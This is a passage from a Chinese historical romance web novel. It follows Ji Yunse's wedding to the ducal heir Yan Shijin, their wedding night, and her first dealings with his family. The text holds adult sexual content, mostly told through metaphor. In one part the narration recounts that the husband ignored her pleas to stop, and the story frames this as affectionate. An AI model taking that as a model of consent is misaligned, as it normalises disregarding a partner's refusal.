开脸后的少女更加显得肤若凝脂,秀靥玉颜,妇人发自内心地赞道: “奴婢服侍过那样多的夫人,世子夫人您是最好看的。” 又贴心问道: “夫人觉得如何?疼不疼?” 除了有些轻微刺痒,纪云瑟倒是没有其他的不适,笑道: “嬷嬷手艺很好。” 陈嬷嬷估摸着她消了些食,便吩咐人给她备水沐浴。 婚服层层上身,罩上大红蟒袍,披上霞帔后,众人皆是眼前一亮,就连日日见着自家姑娘的崇陶和效猗,也一时看傻了眼,就算是天上的仙子,也不过如此吧? 全福嬷嬷给她梳好发髻,戴上翟冠,纪云瑟不禁摸着后颈,真是颇有分量。 果然,待所有准备妥当,已经过了午时,不久后赤霄进来通传,说是世子的迎亲仪仗已至客栈外。 喜娘笑盈盈地说了几句吉祥话,便给纪云瑟递来了绣着龙凤呈祥的喜扇。 整个客栈都布置了大红喜绸,新娘碎步迈出房门,已有一道挺拔的身影立在走廊,大红蟒袍外挂披红被腰间的玉带蹀躞勾勒出他宽肩蜂腰的身形,如青松玉竹一般。 簪花官帽下,新郎本就霁风朗月的峻脸更加容姿出众,纪云瑟手中的喜扇不禁歪了歪。 四目相对,男子露出一抹浅笑,向她伸出手,芊芊柔荑刚刚搭上,纪云瑟顿觉身子一轻,整个人落入男子的怀中,被打横抱起。 她差点轻呼出来,却听一道低沉温柔的嗓音在耳畔: “新娘到夫家前脚不宜沾地。” 纪云瑟的弟弟们不可能过来背长姐上喜轿,新郎官便自告奋勇,将这事一并揽了下来。 宽大的八抬喜轿在客栈外候着,齐整的仪仗占了满满一条街,压轿、入轿一气呵成,随着礼官一声高喝: “吉时已到!” 鞭炮礼花齐鸣,纪云瑟低头瞧着霞帔上的绣金,瞬间感觉自己被抬了起来,在整条街的热闹喧嚣中,晃悠悠地走着,听到前方传来沉稳的马蹄声,她捏紧了手中的喜扇。 喜轿停落,轿帘被掀开,有一只熟悉的修长之手伸了过来,稳如磐石,扶着她步出轿门。 天色微暗,显得脚下的火盆愈发惹眼,男子握紧了她的手,掌心的温度传来,纪云瑟稳稳跨过。 一系列的拜堂流程都有喜娘在旁引导,直至被送入洞房,福寿嬷嬷们撒了喜帐,周遭才安静下来。 喜娘吉祥话不断,纪云瑟依礼却扇,原本就精致的五官在明艳的妆容下更加熠熠生辉。 洞房内红烛摇曳,映着霞纱帐影,身着喜服的一对新人郎俊女俏,惊世的绝美容颜互相衬托着,宛如画上的神仙眷侣。 福寿嬷嬷们压制不住唇角,喜娘端来了合卺酒,二人依礼交杯饮尽。 紫电趁人多时,赶紧过来在自家主子耳畔轻语了几句,果然见他面色一黯,不情不愿地松开新婚夫人的手,说了一句: “我去去就来。” 方跟随他前往正厅。 晏国公府张灯结彩,热 闹非凡,席上觥筹交错,议论的皆是这场突如其来的喜宴。 当日,素来清冷目中无人的晏国公世子,在谢家马球会上,对那位与皇室有几分不清不楚瓜葛的没落侯府之女青眼有加的事,就在京城炸开了锅。 多半是说纪云瑟刻意勾引,世子一时识人不清被蛊惑。 再到那女子突然身死,晏时锦竟以妻礼葬之,众人震惊的同时,因死者已矣,便少了几分恶意,只说是那女子没有福分,多了几分唏嘘。 就在贵女们以为时过境迁,晏世子该忘了那“亡妻”,会再寻个品性教养极佳、门当户对的闺秀时,却没料到,他因公去了一趟江南,竟然宣称寻回了当日在火中被人救下的未婚妻,并好端端的把人带了回来,直接成婚。 这消息不光是让国公府的几个长辈措手不及,头疼不已,那些对世子夫人之位跃跃欲试的贵女们更是咬牙切齿,私下里把那女子描绘成了妖狐转世,不过是靠一身狐媚本事,惑人心神而已,能长久就怪了! 崇陶悄悄去前厅弄些吃食时,恰好就听见女宾席上不少人正用不善的语气议论自家姑娘,气冲冲地回来: “又不是姑娘您上赶着要嫁入这国公府的,她们凭什么这样说您?” “竟然说什么,您以色侍人长久不了!” 纪云瑟揉着酸痛的肩颈,想了想,笑道: “的确是不长久。” 等她哪一日瞧腻了那厮的容色,趁他放松了警惕不再看她这样紧的时候,再跑一次就罢了。 到时,她或许也能如姨母一般,心安理得地养些面首,不亏待了自己才好呢! 崇陶见自家姑娘丝毫不在意,更是替她委屈: “奴婢瞧着,这婚礼热闹是热闹,但国公府里到如今也没个人来看一看您,姑爷还被叫走了。” 寻常人家新媳妇进门,大姑子小姑子总会来瞧一瞧新妇,说会话陪一陪,如今倒好,自家姑娘独自在此枯坐着,看来,这国公府果然是根本不待见姑娘。 纪云瑟抚着额头上被翟冠压出的痕印,无奈看她一眼,道: “别啰嗦了,快帮我把这发冠卸下来。” 陈嬷嬷很快命人打了水送到湢室,恭敬道: “夫人,世子正在书房沐浴,会马上过来,您是不是也先沐浴更衣?” 纪云瑟答应了一声,夏末的天气本就闷热,更何况身上穿着一层又一层的喜服,又顶着繁复的发冠,连脸上的脂粉也变得粘腻起来。 陈嬷嬷看着崇陶给她拿来的几碟糕点,面露一丝歉意: “是老奴疏忽了,世子早已吩咐给您准备了晚膳。” 她随即出门吩咐人先将食盒取来,待夫人沐浴完后再摆饭。 自打那日老夫人寿宴,这位天仙美人出现在自家哥儿的书房里,不管外面如何议论,陈嬷嬷都无比坚信,她就是自己日后的女主子。 毕竟除了太后娘娘和老夫人,还没有第三个人让自家哥儿如此上心,连她最爱吃什么都记得一清二楚。 纪云瑟沐浴过后,看着效猗给她寻来的能清晰透着烛光的大红寝衣,扯了扯唇角: “没有别的了?” 效猗讪笑道: “这些都是姑爷一早备好的,还有一件是浅粉的,奴婢想着,这件当是今晚穿的。” “……” 纪云瑟只得在外罩了一件外衫。 晏时锦回房时,他的新娘正坐在月牙桌旁大快朵颐,她脸上的脂粉被洗了个干净,娇颜如出水芙蓉一般,微透的纱缎寝衣在烛火中恰到好处地勾勒出少女玲珑有致的曲线。 崇陶和效猗对视了一眼,识趣离开。 纪云瑟见他进来,也来不及将刚才一时吃得热了,脱下的外衫重新穿上,只得拢了拢前片,饮了口茶漱口,道: “你忙完了?” 晏时锦行至她身后抚着她的肩膀: “对,裕王奉旨观礼,我已经把他送走了。” 前方的铜镜中,纪云瑟能清晰看见他身着一件同样轻薄面料的月白中衣,视线从他微开的前襟往下,将紧实线条收入眼眸中后,蓦的瞥开目光。 晏时锦勾了勾唇角,俯身问道: “累不累?” 纪云瑟不禁转着脖颈,直言道: “你说呢?” “婚服和发冠加起来,得有十来斤吧?” “下次你试试戴一天?” “哪会有下次?” 晏时锦自觉帮她捏着双肩: “这样好些了吧?” 纪云瑟早就体验过这厮的推拿技术,自是舒服了不少,但很快,她发现,他的手逐渐移了位置。 她将两只放肆闯入的大掌推开,道: “我…我还没吃饱……” 男子怎会轻易放过她,俯身将人抱起: “别吃了……” “过饱不宜剧烈运动。” 纪云瑟欲辩驳的话被淹没在他的唇齿中,很快就明白,所谓的“剧烈”,并不是夸大其词。 或许,不应该如此猛烈的,但是,两年多的思念,重逢后这一个月的隐忍,让他失了分寸,潮水一旦决了堤,水势一发不可收拾。 纪云瑟不是没见过,但真正在此刻碰触到时,对它完全不能只停留在想象中了,怎么可能容得下? “不行,会很疼的。” 男子轻啄着她的唇瓣: “不是都见过了么?” “而且,你好像也很喜欢它。” 第94章 ~ 男子察觉到她的紧张,吻住了她的唇: “别怕,相信我。” …她忍不住摇头往外推: “不要…” 男子颇为配合地依言,却拿捏着端详她的细微变化。 蒙蒙雨雾中,有一辆马车驶来,车轮在绣着壮丽江山图的绸绢上一寸一寸碾过,流连一路起伏的峰峦,欣赏秀丽的景致。 末夏的晴日闷热潮湿,一片柔软云朵骤然飘去了半空,失去了牵制,不能飞升不能降落,好似非要缠绕着sld山峰方能安稳落地。 “继续吗?” 纪云瑟咬牙不语,却主动吻上他的唇,他已经知道了她的答案。 他轻啄了一下少女的唇瓣: “它们看起来互相喜欢,是不是?” 霞帐内的光影在摇晃中移动了位置,红烛越来越低,直到有一丝清凉的风从帐帘的缝隙中吹了进来,吹散了里面的温热黏腻。 男子拂开了她沾湿在额角的碎发: “疼吗?” “…一点点…” 应该说,没有预想中的疼,虽说在初始时十分不适,但在他耐心安抚中逐渐被惬意替代。 晏时锦却在少女躲闪的眼神中捕捉到了一丝满足,眸光微动: “好,我们继续。” 纪云瑟: “啊?还有?” 因为怕初次伤到她,晏时锦十分克制地收敛了五分,此刻,他抱着她转了个身。 纪云瑟还未反应过来,又被封住了唇舌,激烈的亲吻带着十足的攻势,眼前的男子似换了一个人。 虽依旧是隽朗的面容,但漆幽的黑眸却透着注视猎物的炽热和占有欲。 待她觉察出危险,一切已经来不及。 雨后的旷野上奔腾着一匹骏马,带着毫不掩饰的本能驱使,乘风踏浪疾驰而来,一波一波的潮汐翻涌来袭。 初始虽然得到了些趣味,但渐渐地,雨中枝头的小雀儿被欺负得说不出一句完整的话来,凝着水雾泪珠儿可怜兮兮地恳求风雨快些结束,后来,却连发声的力气都没有。 时间仿佛在瞬间停滞,又似乎在晃动的光影中飞快地流逝。 夜色早已沉寂下来,院子里一枝嫣红的月季在突然来临的一阵疾风中摇晃,那阵风偏偏钟情于它初绽的花蕊,不住地拍打欺负它,在一番磨砺之后,终于,清甜的花露从蕊心滴落,裹入恼人的狂风中。 纪云瑟不知自己何时睡去,她真正清醒过来时,已是第二日的清晨。 她缓缓睁开眼,刚要挪动身子,一阵酸痛不适感就涌了上来,昨日的记忆瞬间袭来。 头顶是男子柔和低哑的声音: “你醒了?” 纪云瑟才发觉自己睡在他怀里,她抬起头,目光复杂地看着他。 晏时锦适时轻抚着她的背: “还有哪里不舒服么?” “你说呢?” 纪云瑟没好气地白了他一眼。 废话!她此刻哪里都不舒服! 昨晚到了后面,他根本就不考虑她的感受,不管她如何求他放过她都是枉然,她分明变成了一个被人上下摆弄的玩偶! 到最后除了胀痛,她一丝力气都没有,双腿因为始终保持着一个姿势而酸得要命,连沐浴都是被这厮抱去的,又不想唤崇陶和效猗过来帮她洗,只能让他继续占自己的便宜! 男子撑着一只手臂,居高临下地看着她: “分明是有人自己说想要,也不疼,怎的能都怪我呢?” “你胡说!” 纪云瑟不想再理他,挪着酸胀的腿侧过身背对着远离他,却又被他追了过来,热息萦绕发丝: “好吧,都怨我。” “若是累的话,我陪你再睡一会儿。” 纪云瑟“嗯”了一声,疲惫的双眼刚要阖上,又倏然睁开,被那矗蠢蠢欲动的炽热震惊到了: “你……” 她弹射般从床榻上坐起,不可置信地看着身后一脸淡然的男子,咬了咬唇: “…我,我不睡了!” “今日不得早些去敬茶么?” 不管这门亲事再如何仓促,她作为晚辈,该走的礼数还是得走。既进了门,她希望和国公府的长辈女眷们和睦相处。 晏时锦随即也起身,声色不急不缓: “对,敬茶过后,回来再补也可。” “……” 纪云瑟如临大敌般的眉心一跳,白了他一眼: “我要换衣裳了,你出去吧。” 她指了指大红缎缂丝苏绣围屏向他道。昨夜烛火昏暗,她亦是才刚看清楚这间房的构造。 当中是堂屋,卧房安置在东侧暖阁,以围屏为界,透过屏风隐约瞧见西面也摆着一架三扇座屏,有书架在两侧,估摸着是这厮的书房。 晏时锦顺手将人又揽了过来,道: “我给你换。” 见他的目光随即落在自己的肩膀和锁骨处,纪云瑟方发现有许多鲜红的印记,越往下越密集,比从前的每一次都多且明显…… “……不用,我自己来!” 她收拢了衣襟,从他身上起开,却在站直的瞬间,被两腿的痛胀感打败了,在床上躺着坐着尚好,一下地,需两腿用力时只觉得更酸了,迈两步就发颤。 纪云瑟蹙紧眉头: “……” 男子看出了她的心思,在她发怒之前,去寻了一身让陈嬷嬷早已备好的新制衣裳过来,是她最喜欢的清淡素雅的颜色。 纪云瑟接过了里衣,正待换时,冷不丁瞥见他撑起的一方帐子,闭了闭眼: “……你转过去,别看我。” 晏时锦估摸着她换好里衣后,弯了弯唇角,笨手笨脚地帮着她穿衣裙。纪云瑟不想再与这厮说话,唤了门外的崇陶和效猗进来伺候。 两个婢女自天色蒙蒙亮就守在门外听动静,一到辰时亦有些着急,生怕自家姑娘起晚了,原本就被这府里嫌弃的出身,还添了道不敬尊长的罪名。 听到纪云瑟的声音,方松了口气,忙不迭地应声进来。 见自家姑娘已经换好了衣裳坐在梳妆台旁,崇陶放下水盆,有些诧异道: “姑娘怎的自己穿衣裳了?” “奴婢们在外头等候了许久呢!” 纪云瑟尽量平静下音量: “今早起来想试一试新衣裙,就自己穿上了。” 她拢了拢前襟,躲开二人直视的目光,年长许多的效猗看出了她是刻意遮掩着颈侧的几道清晰可见的红痕,小心地看了绕出屏风的晏时锦一眼,忍不住带着心疼地悄声道: “姑娘受苦了!” 纪云瑟讪讪一笑: “哪有。” 其实回想起来,那感触也不是那么坏,而是有些奇妙,甚至有些……欲罢不能。 但她也不想轻易放过“罪魁祸首”,此刻,他穿了一身霁色圆领家常宽袖长衫,束月白腰封,恢复了平日里正经高冷的模样,让人无端联系到一个词:衣冠禽兽。 晏时锦自然而然地吩咐为纪云瑟绾好发髻的效猗,给他取水洗漱,效猗应声,跟去了书房伺候。 纪云瑟撇了撇嘴,正好陈嬷嬷过来,见二人已经起身梳洗,恭敬道: “夫人,老奴已去厨房吩咐立刻摆饭。” 纪云瑟便问她: “你家世子这院子里怎的没见服侍的人?” 偏使唤她的。 陈嬷嬷回头看了一眼书房里的晏时锦和跟过去的新夫人的婢女,大致猜到了她的意思,小心上前解释道: “禀夫人,世子的院子里一直没有婢女。” “从前,是伴吉和伴祥两个小厮伺候世子起居。” 纪云瑟大概明白了,她进门,小厮自是不便再到他们这内院来,又不免叹道: “如此一来,嬷嬷您倒是辛苦了。” 陈嬷嬷笑道: “原本还有一个于嬷嬷,年前因身子不适,世子让她提前回乡养老了。” “世子向来事情不多,从前,老奴一人也够了。” “如今夫人进门,若要选人过来,自然得跟您商议。老奴已经选了几个,待夫人您过目了之后,再决定留不留。” 纪云瑟浅笑应了一声好。 二人梳洗完毕,一同在堂屋用膳,纪云瑟突然想到什么,问道: “平日里,你是在哪里用膳?” 晏时锦一下猜到了她的心思,直言道: “我已经吩咐在我院子里开个小厨房,以后,就是我们两个吃饭。” 纪云瑟微不可察地松了一口气,又问道: “你家长辈没有微词?” 晏时锦喝了一口粥,挑眉道: “若是你觉得冷清,也可以与祖母他们一同用膳。” 纪云瑟立马回应: “不必!” “冷清一些,很好。” 晏时锦轻轻掐了一把她的腰,附首过去: “还有,如今得说是咱们家。” “若是再说错,我要罚你。” 纪云瑟坐直了身子: “…食不言,寝不语。” 二人用了早膳,前往国公府。 纪云瑟才知,晏时锦的清珩院是单独在泽辉园辟了一处颇大的院子,分了内院和外院,上回她不小心闯入的书房,是他在北面外院的会客办公之所。 她一路走,一路听他说,小厨房会安置在东面的耳房,西面有两间厢房可搁置她的嫁妆杂物,东面也有两间厢房,要做什么由她定。 至于破竹他们几个侍卫,与院内的小厮一同宿在外院的倒座房内。 从 泽辉园到国公府当中有南北两扇角门,相比而言,泽辉园的景致偏新式江南园林的味道,进入国公府后,大多是庄严肃立的飞檐楼阁。 纪云瑟想起了,这是通往老太太的福欣堂的路。 不过想来,万氏虽算她如今的婆母,但名分上确有些尴尬,晏时锦毕竟是先长公主之子,万氏这个继母在他面前都得低一头,若是想要给她这个刚进门的新媳妇下马威,还得老太太出马。 正想着,突然有微热的掌心握了过来,晏时锦与她并肩,道: “别怕。” 从东角门步入,二人沿着穿山游廊往前走,一院子的婢女仆妇垂手侍立,却没有丝毫杂音,处处显示出公府的规矩气派。 福欣堂已经坐满了人,万氏早早地就起身,吩咐人去清珩院告诉一声,直接到福欣堂敬茶,又让人叫几个儿子媳妇们好好装扮一番,嘱咐了几句话,更是催着晏徇早些过来。 惹得晏徇戏谑着提醒她记得自己是婆母,莫要紧张得像个新媳妇。 端坐主位的晏起与晏徇说了几句话后,拍了拍一旁面无表情的庄氏,悄声在她耳畔道: “长孙媳妇好不容易娶回来,你高兴些!” 庄氏没好气地白了他一眼,低头饮着茶。 不多时,有婢女打帘子的声音: “世子和大少夫人到了。” 一时屋内鸦雀无声,众人的目光齐聚在门口的插屏,就见素来清冷寡淡的那位世子爷,牵着一位雪肤花貌的美人儿迈步进来。 第95章 纪云瑟一直被晏时锦拉着手,在迈上檐廊的台阶时,她想抽回,却被攥得更紧。 门外的婢女目光扫过二人,眸中惊讶一闪而过后,低下头一面打帘子,一面躬身通报。 屋内人满却气氛肃重,老国公晏起和庄氏坐在明间主位上,下手分别是晏徇和万氏,再往下左右侍立着四对年轻的夫妇,末位是一十多岁的少年郎。 除了几位尊长,同辈中,纪云瑟只对三郎晏时钰有些印象,因他与晏时锦的眉眼有几分相像,那日问过路就记住了,余者都没有见过,但看他们的站位,大概能对应上。 晏时钰一下认出了这位长嫂就是那年祖母寿宴,找他问路的天仙姑娘,也就明白了为何长兄在听到他打探这姑娘的家世时,从不多管闲事的人为何会有那样特别的反应。 存了一丝后怕的同时,又不免腹诽长兄太过奸猾,竟然骗他说是成国公家的姑娘,如今倒好,他真的娶了成家小姐,被这母老虎管得服服帖帖。 而他心心念念的天仙姑娘,竟摇身一变,成为他的长嫂。 晏时钰内心思忖了一番的同时,目光不免在纪云瑟身上多停留了片刻,但很快就被一道冷冽的眼神扫了过来,他看着神色不善的长兄,匆忙撇开头。 偏又对上自家媳妇皱着眉头带着探询的侧眸斜睨,晏时钰心下一凛,躲闪着看向正中主位。 晏起一见这位新妇进来,就不由得咧嘴露出了笑意,这般容貌,不怪那小子死心塌地惦记着不放。也对,他的长孙文武双全,在京城中的儿郎中若是数第二,是绝对没人敢认第一,自然得配这等绝色美人,郎才女貌嘛! 庄氏一看身旁的老家伙不住点头目露赞许,差点都快笑出声来了,脸色更加黑沉,瞧着那不争气的长孙到此刻还不肯松手,更是头疼得没眼看。 她后悔当年被这浑小子故作的心如死灰之色骗了,竟然轻易放任让他做那傻事,间接认了这孙媳。 万氏倒是面色平静,她自知自己的两个儿子无论怎么赶,都越不过晏时锦去,从前连他的一个手指头都比不了,如今,他偏偏娶了一房这屋子里出身最低的媳妇,也算是白璧微瑕,从遥不可及的高岭落下凡尘,显得与他们亲近了不少。 晏徇是出了名的孝子,平日里对庄氏大多的吩咐都是言听计从,原本打算与她一条战线,不给晏时锦这不孝子面子,但在看到新媳妇娉婷袅袅,低头带着几分怯色,毫无攻击力的娇软模样,顿时觉得,这一看就良善可欺的小姑娘能有什么错? 况人家姑娘都跑千里之外去了,一点都不想攀附他家的模样,定是那不孝子使了什么手段强取豪夺,要怪只能怪自己生的混账儿子! 罢了,浑小子不懂事哪日关起门来教训一通就是,今日别委屈了小姑娘。 这位素来御下威严肃厉的国公打破了屋内的死寂,语气算得上和缓: “来了?” “敬茶吧!” 纪云瑟终于被晏时锦松开了手,二人一同跪下给四人行礼,有婢女捧了托盘过来,纪云瑟余光看了一眼身侧,与他动作一致,双手端着茶碗恭敬奉上: “请祖母喝茶。” 庄氏早就被晏时锦提前知会过了,且新妇已经进门,断没有此刻闹出笑话传出去的道理,又有晏起在身旁一直悄悄碰她手臂,只晾了她片刻,便面无表情地接过了茶,轻抿一口。 身旁的嬷嬷会意,替她将一个精致小木匣交给纪云瑟, “这是老夫人给大少夫人的见面礼。” “谢祖母。” 纪云瑟颔首恭敬接过。 接下来二人给晏徇夫妇敬茶,就融洽了许多,万氏觉着自己的两个嫡亲媳妇,一个惯会娇滴滴地哄夫君,一个又是河东狮般管着夫君,多少有几分讨嫌,但面前这位隔着的,是一副温顺乖巧的模样,莫名看着顺眼,忍不住弯着唇角饮了茶,亲自将见面礼交给她。 纪云瑟恭敬谢过,与晏时锦一同起身后,是同辈们之间见礼,她命崇陶和效猗将自己的敬茶礼一一送了出去,给每位弟媳一支镶宝石赤金簪子,给最小的幼弟一方思州石砚。 众人皆客气道: “多谢长嫂。” 纪云瑟谦和端庄,一一颔首,目光扫过,将所有人的细微神情收入眼中,其他人至少表面是笑脸相迎,独独老三媳妇,就是成国公府的二小姐成婉思,面露一丝不屑,随手将簪子丢给身后的婢女。 晏徇端起手边的茶碗,象征性地嘱咐了几句: “既已成婚,你夫妇二人当和美过日子,男主外,女主内,互相体谅周全。” 二人恭敬应“是”。 晏徇又道: “今日几位叔婶弟兄们都会过来,到我那边用午膳。” 平日里若只是他们一房团聚,多半就在福欣堂开席,但晏徇的几房兄弟一大家子人过来,只有正屋那儿的花厅方容得下。 纪云瑟有些疑惑地看了晏时锦一眼,这厮之前可没说今日还得见他的那些叔婶堂兄弟们,害她什么都没准备,弟媳们过来唤她一声“长嫂”总不能没一点表示吧? 晏时锦倒是读懂了她眼中的意味,向晏徇道: “儿子和新妇刚刚颠簸了十多日回到京城,昨儿个又累了一日,现下十分疲乏,需回去歇着,就不过来了。” “请父亲替我转告,改日儿子领着新妇上门给各位叔婶请安赔罪。” 晏徇: “你小子……” 今日众人巴巴的过来就是依礼瞧瞧他的新媳妇,他们俩不在,叫什么事?还改日? 特地到他家来都见不到他人,还指望他哪一日真会登门请安? 骗鬼呢! 还欲说什么时,晏时锦躬身行了个礼,已经拉着有些懵然的纪云瑟出了门。 众人眼睁睁地看着两人影儿消失在插屏外,屋内气氛一阵安静,老二晏时钦目光扫过上首几位长辈,与妻子薛氏率先告退离开,自言回去收拾一番再去正房。 晏时钰拉了拉成婉思的衣袖,被她不耐的眼风扫过来,悻悻然也告了退。剩下几个庶子和媳妇,本就是在这种正式场合说不上话的,皆识趣散了。 晏徇的脸色不好看,万氏也不敢劝,庄氏叹了口气,道: “罢了,咱们吃就是!” 晏时锦的性子素来说一不二,且他的确不喜乌泱热闹的席面,从前若不是年节,是难见他一面,更何况新媳妇刚到嘴,正是如胶似漆的时候。 她若有所思地看了一眼万氏,长孙是男子外头有功名事业她管不了,他媳妇日日在后宅,难道也制不住? 不能由着晏时锦的性子,宠得媳妇无法无天,乱了国公府的礼数! 她起身向万氏道: “你过来,我有话与你说。” 纪云瑟一直被男子拉着手,直到行至泽辉园,不见了什么婢女小厮,才道: “你为何要那样说?” “知道的,说是你不喜欢热闹,不知道的还以为是我进门耍脸子呢!” 分明是他不想赴宴,倒弄得跟她不懂规矩似的。既进了门,她倒是 真不想与这府里的人闹僵了,毕竟低头不见抬头见的,大家和睦客气,心情也要好一些。 晏时锦目露惊喜: “你很在意我的家人?” “要么,咱们现在回去也还来得及?” 纪云瑟: “……” “那倒不必。” 罢了,既然这厮都不在意,她自然是乐得自在。 男子捏了捏她的小脸: “得了便宜还卖乖!” 纪云瑟白了他一眼,俯身揉了揉酸痛的腿,不禁腹诽他家园子忒大了些,刚才走过来,又是站又是跪的,更加不适了。 谁知下一瞬,她就觉得身子一轻,整个人落入了男子的臂弯中: “还是不舒服?” 纪云瑟下意识地看了一眼四周,不见什么人后,才冲他的胸口捶了一拳: “不都怪你么!” “快放我下来,小心被人瞧见了!” 话虽如此说,却没有一丝挣扎着要下来的模样,晏时锦轻笑一声,不想再戳穿她。 有婢女仆妇们沿途看见了这番景象,自是收着眼神不敢多瞧,连候在清珩院外的陈嬷嬷也是惊掉了下巴。 晏时锦径直抱着她回了房,放在床榻上,正想给她脱下鞋袜,被少女飞快地抽回了脚: “…你做什么?” “不是累吗?让你再睡一会儿。” 他此刻是一副淡然平静的模样,但一想到昨晚,纪云瑟不禁一个激灵,道: “……不睡了。” “我瞧着陈嬷嬷带着人过来,我…我去安排一下。” 第96章 最终,纪云瑟没走出那道门。 晏时锦自告奋勇地替她选了几个婢女帮着做些粗活杂事,美其名曰是他府上的人,他最清楚如何安排。 结果还是由崇陶和效猗在内院贴身伺候她,他可以在外院书房由小厮们伺候沐浴更衣,再加上陈嬷嬷总管这院子的杂务,够用了。 若是日后她怀孕生孩子,再多遣几个人过来帮衬。 “孩子?” 纪云瑟刚吃了一块金乳酥,差点被噎着,这都哪儿跟哪儿? 晏时锦见她咳嗽不已,给她递了茶水过来,帮她顺着后背,眯眼看向她: “怎么,又不想要孩子了?” 纪云瑟将一杯茶饮尽,轻咳了两声,不是不想要,而是要看这孩子姓苏还是姓晏。 她从前迫切想生的,是完全属于她的孩子,如今…… 他总不可能允许孩子交给姨母,培养成苏氏的接班人吧? 那只拍着她后背的手却骤然挪动了位置,继而,她整个人坐在了他腿上,低沉浸着欲的气息从她的后脑拂过耳侧: “如今做什么打算都是空想,首先,是把孩子生出来。” “是不是,卿卿?” “……” 纪云瑟不可思议地看了他一眼,这厮,怎的又猜到她在想什么? 不过,她很快没有精力计较这个,因为有一矗变化让她忽的回想起昨晚那种被撑胀直抵心门的感觉,小脸一白: “你……” “不行!” 她试图挣扎着要起身,却被他双手圈住: “别走,保证不闹你!” “咱们好好补个觉!” “真的?” 晏时锦信誓旦旦: “真的。” 纪云瑟的确是又累又困,就算他不说,吃了些糕点后,她也是要睡的。但她今日晨起后特意让崇陶把自己从前的几身一点儿都不透的旧寝衣翻了出来,把自己紧紧包裹起来。 诺大的拔步床内,晏时锦自觉与她拉开距离,就在纪云瑟以为这厮良心发现,正要眯上眼睡觉时,只听他若有所思地问道: “真的好痛么?” “需不需上些药?” “…什么…药?” 纪云瑟转头看着他,满脸诧异。 男子撑着脑袋侧躺着,神情十分认真,伸出一根手指比划了一下: “因为从前这样,我感觉恰好能进,但昨晚必须用……” 他的目光往下瞧了一眼,继续道: “毕竟尺寸差距过大,我怕你第一次会受伤,故而特意问了府医需要注意什么,他说初次的确不易,若是实在疼的话,可以用他专门配置的擦伤药。” “……” 他到底在说什么? 而且,还为这种事去找府医? 救命! 他是不是中邪了?! 纪云瑟瞪大双眼张着嘴僵在原处,晏时锦贴心补充道: “药我试过了,就算有伤口,抹上也不疼。” “府医从医好几十年,府里大小的病都是他瞧的,医术极好,经验丰富,向来药到病除,而且口风最紧,你只管放心!” “我去把药拿来。” 见他拿了个小罐子过来,纪云瑟用被衾将自己裹紧,摆摆手: “……不用了!” 晏时锦倒不勉强,将药放在一旁,道: “我感觉应该也不需要。” “我进来时,并不觉着费力。” 纪云瑟想不明白一个人怎么能一本正经的说出这些话来,他的这张脸和他做出来的事都是割裂的! 她闭了闭眼: “…睡觉。” 身后的男子似不死心,靠近了她一些,放低音量,问道: “我瞧着你走路时似腿疼,又是什么缘故?” 纪云瑟再也忍受不了,起身把他的两条腿弯起定住,怒道: “你保持这样一晚上试试?” 晏时锦默了一瞬,勾了勾唇角,将她抱入怀里: “好了,是我的错。” “下回咱们换一换,保证不再累着你!” 纪云瑟试图挣脱开,却被他按住: “别动,就这样睡。” 觉是睡了,但睡着睡着,不知为何,又稀里糊涂变了相。 直到日光西垂,守在门外的陈嬷嬷才等到了屋内两位主子的传唤。 她一进屋内,见到纷乱的床榻,只得将要开口的话先咽了回去,先命粗使婢女抬了水到湢室,又去收拾更换被褥罩面。 纪云瑟沐浴完,坐在梳妆台前梳发时,晏时锦已经换了一身家常衣裳从外院书房回来坐在圈椅上,自己倒了一杯茶喝。 见陈嬷嬷站在一旁魂不守舍欲言又止,他问道: “有事?” 陈嬷嬷面露一丝为难: “太太约莫一个时辰前吩咐了人过来,请夫人过去一趟。” “后来又打发人来问了好几次,奴婢只说夫人有些身子不适,还睡着未醒。” 万氏找她?晏时锦微微蹙眉: “有说何事么?” 陈嬷嬷摇摇头: “太太只说找夫人叙叙闲话。” 晏时锦道: “你随便找个由头去回了,就说是我的意思。” 陈嬷嬷有些无奈地看了他一眼,答应着正要走,却被纪云瑟叫住: “不必了,嬷嬷待会儿陪我去正房走一趟吧。” 陈嬷嬷面上神情明显松了松,应了声“是”后步出门外。 她已经绾好发髻,看向面露一丝不解的晏时锦,道: “多谢你的好意,但我不能一直躲在你后面不见人,况且,你也不会日日在府里日日守着我。” 她能看出那位婆母对她没有什么恶意,而她日后是要生活在这府里,该打的交道还是得打。 晏时锦倒也不惧万氏,听她如此说,行至她的身旁握着她的肩膀,淡笑一声: “好,你想去就去,只别被人欺负了就好。” 纪云瑟白了他一眼: “只有你才会欺负我!” 男子俯身轻啄了一下她的耳珠,低语道: “胡说…” “方才那样还不舒服么?” 纪云瑟一阵脸热,狠狠捶了他一拳,起身步出房外。她想了想,吩咐效猗去库房,取了个小木匣子出来,交给陈嬷嬷,道: “走吧。” 陈嬷嬷引着她行至正房堂屋,就有屋外的小婢女躬身相迎: “大少夫人来了!” 说着领着她二人往东 侧一旁的耳房,纪云瑟方知,万氏平日里是在这边起居。 屋内的正面炕上横设一张炕桌,摆着茶具,靠东壁有两只青缎靠背引枕。万氏坐在西边下首,见她进来,便往东让,神色略带着些许严肃疏离,道: “云瑟来了?” “来,坐这里。” “婆母。” 纪云瑟客气地唤了一声,猜测那炕上应是晏徇常坐的,便向靠万氏一侧的太师椅上坐了。 万氏听她唤自己婆母,倒是眸光动了动,毕竟,晏时锦从未叫过她一声“母亲”,当然,人家亲娘贵为长公主,自己自然不配。 面色微缓,她吩咐人上茶。 纪云瑟颔首谢了一声,接过陈嬷嬷手中的匣子,恭敬道: “原本,应该儿媳主动来陪婆母说说话的,因这两日身上有些不适,故而午膳后睡得晚了些。” “望婆母莫怪。” 她将东西放在万氏面前的炕桌上,笑道: “这是儿媳孝敬您的一点心意,还望婆母莫要嫌弃,请您收下。” “不必如此客气!” 万氏看了一眼东西,刚忍不住露出的一抹笑意在想起了庄氏对她的耳提面命后,又立刻收了回去,说道: “保养身子固然是要紧的,但你刚嫁入府里,有些规矩,我还是要先嘱咐嘱咐你。” 她一副打算开口教训些什么的口吻,但再有什么要紧的事,身为婆母也没有新婚第二日就把儿媳妇叫过来立威的道理。 而且自己又不是这位婆母的正经儿媳,晏时锦的身份摆在那儿,万氏会敢轻易打他的脸么? 结合今日敬茶时候老太太和这位婆母的态度,纪云瑟大致猜到了,恐怕,真正要教训她的是一直看她不顺眼的老太太,这位婆母多半就是个奉命执行之人。 她笑了笑,却没有接她这茬话,而是指了指炕桌上的匣子,道: “婆母您先看看,这东西您喜不喜欢,若是不喜欢的话,儿媳再给您换别的。” 